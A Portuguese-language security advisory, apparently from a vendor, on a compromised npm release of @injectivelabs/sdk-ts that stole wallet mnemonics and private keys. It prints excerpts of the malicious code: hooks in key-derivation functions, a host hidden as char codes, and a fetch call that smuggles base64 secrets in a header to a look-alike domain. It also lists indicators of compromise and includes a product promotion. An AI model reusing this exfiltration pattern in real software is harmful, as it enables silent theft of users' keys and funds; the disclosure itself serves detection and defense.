Uma divulgação maliciosa de @injectivelabs/sdk-ts, um pacote npm que regista cerca de 50 000 downloads semanais, incluía código que gravava as frases mnemónicas e as chaves privadas das carteiras à medida que estas eram geradas e as enviava para um ponto de acesso controlado por um atacante. A versão maliciosa, 1.20.21, esteve disponível no npm durante menos de uma hora, no dia 8 de junho de 2026, antes de o responsável pela manutenção se aperceber do problema e publicar uma correção adequada. Nesse intervalo, o atacante também voltou a publicar o mesmo 1.20.21 número de versão em mais 17 pacotes no @injectivelabs âmbito, cada um deles associado ao SDK infetado, de modo a que os projetos que dependessem de qualquer um deles acabassem por incorporar o programa malicioso de forma transitiva.
A carga útil é pequena e parece um instrumento de monitorização comum. Não é executada no momento da instalação e não altera o comportamento do SDK. Aguarda que a aplicação gere uma chave durante a utilização normal e, em seguida, copia discretamente o segredo.
Como funciona o programa de roubo de dados
O código malicioso está presente em dois artefactos de compilação, dist/cjs/accounts-Cy0p4lLW.cjs e dist/esm/accounts-jQ1GSgaW.js. Ao comparar com a versão limpa 1.20.23, os dois ficheiros são idênticos ao nível dos bytes, com exceção de um bloco inserido e de dois hooks de uma linha. O bloco está identificado como src/utils/key-derivation-telemetry.ts e apresentado no seu próprio comentário de documentação como métricas de utilização anonimizadas para otimização do SDK. Nada nisso é anonimizado.
Os dois ganchos ficam no interior PrivateKey.fromMnemonic e PrivateKey.fromHex, os pontos de entrada padrão que uma aplicação invoca para transformar uma frase-semente ou uma chave hexadecimal em bruto numa carteira utilizável. Cada hook é acionado antes da derivação propriamente dita ser executada, pelo que o segredo é capturado em cada chamada legítima:
static fromMnemonic(words, path = DEFAULT_DERIVATION_PATH) {
trackKeyDerivation("fm", words); // full mnemonic phrase
return new PrivateKey(new ethers.Wallet(ethers.HDNodeWallet.fromPhrase(words, void 0, path).privateKey));
}
static fromHex(privateKey) {
trackKeyDerivation("fh", typeof privateKey === "string" ? privateKey : "bytes"); // raw private key
...
}
Os marcadores «fm» e «fh» indicam ao operador que tipo de segredo cada registo contém — mnemónico ou hexadecimal —, para que possa reconstruir a carteira do seu lado. O método `trackKeyDerivation` insere um registo com data e hora numa fila na memória e agenda uma atualização:
function trackKeyDerivation(method, value) {
_q.push(`${method}:${value}:${Date.now()}`);
_flush();
}
A exfiltração é o momento em que o atacante se esforça por se camuflar. O anfitrião de destino é armazenado como uma matriz de códigos de caracteres e reconstruído em tempo de execução, pelo que uma pesquisa em texto simples no pacote pelo domínio não encontra nada:
O domínio não encontra nada:
const _d = () => _e.map((x) => String.fromCharCode(x)).join("");
const _ep = «https://» + _d() + "/"; // testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network
O anfitrião descodificado, testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network, é um subdomínio concebido para se assemelhar à própria infraestrutura gRPC-web da Injective, de modo que o tráfego de exfiltração coexiste com as chamadas de rede que uma aplicação real da Injective já efetua. Um temporizador com um intervalo de 2 segundos, sem rebote, agrupa os registos em fila, une-os com o símbolo |, codifica o blob em base64 e envia-o:
function _send(d) {
fetch(_ep, {
method: "POST",
headers: {
"Content-Type": "application/grpc-web+proto",
"X-Request-Id": d, // base64 blob of stolen key material
},
...
}).catch(() => {});
// node fallback: require("https").request(...) with the same headers
}
Os dados roubados são transportados no cabeçalho da solicitação X-Request-Id, em vez de no corpo da solicitação, e o caminho do nó envia um corpo de comprimento zero juntamente com eles; assim, na rede, a solicitação parece uma chamada gRPC-web normal que transporta um ID de solicitação. Cada caminho de falha é uma captura silenciosa e vazia, pelo que uma exfiltração bloqueada ou com falha nunca revela um erro à vítima. A escolha de «application/grpc-web+proto» como tipo de conteúdo completa o disfarce.
Como o gatilho é a derivação da chave em tempo de execução e não um script do ciclo de vida, os scanners e as sandboxes de instalação que apenas monitorizam a fase pós-instalação encontram um pacote limpo. Os scripts bloqueados no manifesto não contêm quaisquer ganchos de instalação.
Amplificação no âmbito do @injectivelabs
Apenas @injectivelabs/sdk-ts@1.20.21 contém o código malicioso. Os outros 17 pacotes que o atacante voltou a publicar na versão 1.20.21 não foram alterados no seu próprio código-fonte. Cada um deles foi republicado com uma dependência fixa em @injectivelabs/sdk-ts@1.20.21, a versão adulterada. Um projeto que instalou @injectivelabs/wallet-core@1.20.21, por exemplo, resolveria o SDK malicioso de forma transitiva e executaria o programa de roubo de dados sem nunca mencionar o «sdk-ts» no seu próprio manifesto. É por isso que, neste caso, não basta auditar apenas as dependências diretas. Os nomes dos pacotes relacionados com carteiras, no âmbito de aplicação, correspondem diretamente aos fluxos de trabalho, frases-semente e chaves privadas que a carga útil foi concebida para capturar.
Impacto e contenção
O compromisso foi introduzido através de commits provenientes de uma conta do GitHub com um histórico consolidado no repositório, o que aponta para uma apropriação de conta, em vez de um ataque «drive-by». O código malicioso 1.20.21 foi publicada às 22:59 GMT+2, no dia 8 de junho de 2026; o responsável pela manutenção reverteu a alteração às 23:18 e uma versão limpa foi publicada às 23:48. De acordo com as próprias estatísticas do npm, a versão maliciosa foi descarregada 310 vezes antes de ser retirada, um número reduzido face aos 50 000 descarregamentos semanais do projeto e aos 87 pacotes que dele dependem. A resposta rápida do responsável pela manutenção foi o que impediu que a situação se tornasse muito pior.
A contenção ainda não está concluída. Na altura em que a notícia foi publicada, a versão maliciosa tinha sido marcada como obsoleta no npm com um aviso, mas não tinha sido removida, pelo que continua disponível para download, e os artefactos de lançamento da versão comprometida ainda se encontravam na página de lançamentos do projeto no GitHub. Qualquer chave mnemónica ou privada que tenha passado por estes pacotes deve ser considerada exposta. Transfira os fundos e, em seguida, renove as chaves e as frases-semente.
Como a Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de comprometimento
Indicadores de rede
Ponto final de exfiltração: https://testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network/
Ficheiros maliciosos
dist/cjs/accounts-Cy0p4lLW.cjs, SHA-256 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0dist/esm/accounts-jQ1GSgaW.js, SHA-256 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
Pacotes afetados
@injectivelabs/sdk-ts@1.20.21 (contém o programa de roubo de dados)@injectivelabs/utils@1.20.21@injectivelabs/networks@1.20.21@injectivelabs/ts-types@1.20.21@injectivelabs/exceptions@1.20.21@injectivelabs/wallet-base@1.20.21@injectivelabs/wallet-core@1.20.21@injectivelabs/wallet-cosmos@1.20.21@injectivelabs/wallet-private-key@1.20.21@injectivelabs/wallet-evm@1.20.21@injectivelabs/wallet-trezor@1.20.21@injectivelabs/wallet-cosmostation@1.20.21@injectivelabs/wallet-ledger@1.20.21@injectivelabs/wallet-wallet-connect@1.20.21@injectivelabs/wallet-magic@1.20.21@injectivelabs/wallet-strategy@1.20.21@injectivelabs/wallet-turnkey@1.20.21@injectivelabs/wallet-cosmos-strategy@1.20.21
Remediação
- Atualize qualquer
@injectivelabspacote fixado ou que pode ser resolvido para a versão 1.20.21 na versão limpa 1.20.23.
Última atualização em: 9 de julho de 2026

